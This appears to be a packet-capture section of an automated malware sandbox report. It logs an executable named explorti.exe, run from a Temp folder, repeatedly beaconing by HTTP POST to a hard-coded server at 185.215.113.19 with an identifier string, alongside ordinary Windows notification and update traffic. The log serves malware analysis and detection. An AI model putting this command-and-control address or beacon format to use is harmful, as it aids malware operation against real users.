142	192.168.2.6	63378	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:18.119822979 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:18.862709999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	63379	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:18.871793985 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:19.641287088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	63381	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:19.840091944 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:20.583525896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	63382	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:20.597712040 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:21.391635895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	63383	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:21.517354012 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:22.282516956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	63384	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:22.295042038 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:23.101458073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	63385	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:23.440535069 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:24.192425013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	63386	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:24.200579882 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:24.969221115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49712	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:48:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 77 55 4e 41 67 34 64 4a 74 55 2b 62 34 45 37 51 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 32 65 65 66 30 35 64 61 63 61 64 34 64 65 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: wUNAg4dJtU+b4E7Q.1Context: 22eef05dacad4de0
2024-07-26 11:48:09 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:48:09 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 77 55 4e 41 67 34 64 4a 74 55 2b 62 34 45 37 51 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 32 65 65 66 30 35 64 61 63 61 64 34 64 65 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: wUNAg4dJtU+b4E7Q.2Context: 22eef05dacad4de0<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:48:09 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 77 55 4e 41 67 34 64 4a 74 55 2b 62 34 45 37 51 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 32 65 65 66 30 35 64 61 63 61 64 34 64 65 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: wUNAg4dJtU+b4E7Q.3Context: 22eef05dacad4de0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:48:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:48:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 49 61 50 75 42 63 6c 4c 6a 6b 32 44 33 54 51 31 76 6b 42 49 54 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: IaPuBclLjk2D3TQ1vkBITg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49713	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:48:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 41 53 49 50 2b 73 48 36 47 30 69 67 7a 2b 63 77 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 31 35 35 66 30 39 66 65 64 38 62 65 32 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ASIP+sH6G0igz+cw.1Context: 7a155f09fed8be29
2024-07-26 11:48:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:48:17 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 41 53 49 50 2b 73 48 36 47 30 69 67 7a 2b 63 77 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 31 35 35 66 30 39 66 65 64 38 62 65 32 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: ASIP+sH6G0igz+cw.2Context: 7a155f09fed8be29<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:48:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 41 53 49 50 2b 73 48 36 47 30 69 67 7a 2b 63 77 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 31 35 35 66 30 39 66 65 64 38 62 65 32 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ASIP+sH6G0igz+cw.3Context: 7a155f09fed8be29<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:48:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:48:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 51 7a 4d 77 67 57 74 79 6b 4b 57 34 39 2b 77 6c 41 4c 73 55 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 4QzMwgWtykKW49+wlALsUQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49715	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:48:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 70 78 43 71 52 44 66 70 59 45 61 55 31 79 54 68 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 32 30 38 64 39 34 38 65 30 37 63 63 36 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: pxCqRDfpYEaU1yTh.1Context: 1b208d948e07cc61
2024-07-26 11:48:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:48:30 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 70 78 43 71 52 44 66 70 59 45 61 55 31 79 54 68 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 32 30 38 64 39 34 38 65 30 37 63 63 36 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: pxCqRDfpYEaU1yTh.2Context: 1b208d948e07cc61<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:48:30 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 70 78 43 71 52 44 66 70 59 45 61 55 31 79 54 68 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 62 32 30 38 64 39 34 38 65 30 37 63 63 36 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: pxCqRDfpYEaU1yTh.3Context: 1b208d948e07cc61<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:48:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:48:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 79 4c 33 57 44 38 68 49 68 30 2b 68 64 64 79 50 71 66 4c 4f 74 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: yL3WD8hIh0+hddyPqfLOtQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49716	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:48:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k+CFrVfwfDyLu+h&MD=zZCe4Eut HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-26 11:48:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f7473a7f-9f4e-4c4c-88b4-f32b502cea42 MS-RequestId: f68c6dfb-5c3d-4218-a4fc-4071af60e7dc MS-CV: SqJv+6Lr/E6ily+z.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Jul 2024 11:48:30 GMT Connection: close Content-Length: 24490
